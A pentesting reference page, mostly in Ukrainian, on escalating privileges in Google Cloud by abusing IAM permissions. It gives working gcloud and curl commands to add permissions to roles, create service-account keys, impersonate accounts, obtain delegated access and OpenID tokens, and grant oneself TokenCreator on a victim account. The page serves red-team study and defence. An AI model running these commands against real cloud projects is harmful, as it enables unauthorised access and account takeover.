GCP - IAM Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

IAM

Детальніше про IAM див. у:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Зловмисник з наведеними правами зможе оновити роль, призначену вам, і надати вам додаткові права на інші ресурси, такі як:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Ви можете знайти скрипт для автоматизації створення, exploit та очищення vuln environment тут і python скрипт для зловживання цим привілеєм here. Для додаткової інформації перегляньте original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

Дозвіл iam.roles.create дозволяє створювати користувацькі ролі в проекті/організації. У руках зловмисника це небезпечно, бо дає змогу визначати нові набори дозволів, які пізніше можна призначити суб’єктам (наприклад, використовуючи дозвіл iam.serviceAccounts.setIamPolicy) з метою ескалації привілеїв.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Зловмисник із зазначеними дозволами зможе request an access token that belongs to a Service Account, тож можливо отримати access token Service Account з більшими привілеями, ніж у нас.

Для resource-driven варіанту, коли код під контролем атакуючого викрадає managed Vertex AI Agent Engine runtime token зі metadata service і повторно використовує його як Vertex AI service agent, див.:

GCP - Vertex AI Post Exploitation

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccountKeys.create

Зловмисник із зазначеними дозволами зможе create a user-managed key for a Service Account, що дозволить нам отримати доступ до GCP від імені цієї Service Account.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

Зауважте, що iam.serviceAccountKeys.update не спрацює для зміни ключа сервісного облікового запису (SA), оскільки для цього також потрібні права iam.serviceAccountKeys.create.

iam.serviceAccounts.implicitDelegation

Якщо ви маєте дозвіл iam.serviceAccounts.implicitDelegation на сервісному обліковому записі, який має дозвіл iam.serviceAccounts.getAccessToken на третьому сервісному обліковому записі, то ви можете використати implicitDelegation, щоб створити токен для того третього сервісного облікового запису. Ось діаграма для пояснення.

Зверніть увагу, що згідно з documentation, делегування gcloud працює лише для генерації токена за допомогою методу generateAccessToken(). Отже, далі показано, як отримати токен, використовуючи API безпосередньо:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Ви можете знайти скрипт для автоматизації creation, exploit and cleaning of a vuln environment here та python-скрипт для зловживання цим привілеєм here. Для детальнішої інформації див. original research.

iam.serviceAccounts.signBlob

Атакуючий з зазначеними дозволами зможе підписувати довільні payload у GCP. Отже буде можливо створити непідписаний JWT of the SA and then send it as a blob to get the JWT signed цільовим SA. Для детальнішої інформації див. read this.

Ви можете знайти скрипт для автоматизації creation, exploit and cleaning of a vuln environment here та python-скрипт для зловживання цим привілеєм here і here. Для детальнішої інформації див. original research.

iam.serviceAccounts.signJwt

Атакуючий з зазначеними дозволами зможе підписувати коректно сформовані JSON web tokens (JWTs). Різниця порівняно з попереднім методом у тому, що замість того, щоб змушувати google підписати blob, що містить JWT, ми використовуємо метод signJWT, який вже очікує JWT. Це спрощує використання, але дозволяє підписувати лише JWT, а не довільні байти.

Ви можете знайти скрипт для автоматизації creation, exploit and cleaning of a vuln environment here та python-скрипт для зловживання цим привілеєм here. Для детальнішої інформації див. original research.

iam.serviceAccounts.setIamPolicy

Атакуючий з зазначеними дозволами зможе додавати IAM-політики до сервісних облікових записів. Ви можете зловживати цим, щоб надати собі дозволи, необхідні для імперсонації сервісного облікового запису. У наступному прикладі ми надаємо собі роль roles/iam.serviceAccountTokenCreator над цікавим SA:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Ви можете знайти скрипт для автоматизації creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

Дозвіл iam.serviceAccounts.actAs схожий на дозвіл iam:PassRole з AWS. Він необхідний для виконання завдань, наприклад запуску екземпляра Compute Engine, оскільки дає можливість “actAs” сервісного облікового запису, забезпечуючи безпечне управління дозволами. Без цього користувачі можуть отримати невиправданий доступ. Крім того, експлуатація iam.serviceAccounts.actAs включає різні методи, кожен з яких вимагає набору дозволів, на відміну від інших методів, що потребують лише одного.

Service account impersonation

Імітація сервісного облікового запису може бути дуже корисною для отримання нових і вищих привілеїв. Існує три способи, якими ви можете impersonate another service account:

  • Аутентифікація з використанням RSA private keys (описано вище)
  • Авторизація з використанням Cloud IAM policies (описано тут)
  • Розгортання завдань на GCP services (більше застосовується при компрометації облікового запису користувача)

iam.serviceAccounts.getOpenIdToken

Атакувальник з вказаними дозволами зможе згенерувати OpenID JWT. Вони використовуються для підтвердження ідентичності і не обов’язково надають будь-яку неявну авторизацію до ресурсу.

Згідно з цим interesting post, необхідно вказати audience (сервіс, де ви хочете використовувати токен для аутентифікації), і ви отримаєте JWT, підписаний google, який вказує сервісний обліковий запис і audience JWT.

Ви можете згенерувати OpenIDToken (якщо маєте доступ) за допомогою:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Тоді ви можете просто використати його, щоб отримати доступ до сервісу за допомогою:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Деякі сервіси, які підтримують автентифікацію за допомогою такого типу токенів, включають:

Приклад того, як створити OpenID-токен від імені сервісного облікового запису, можна знайти тут.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks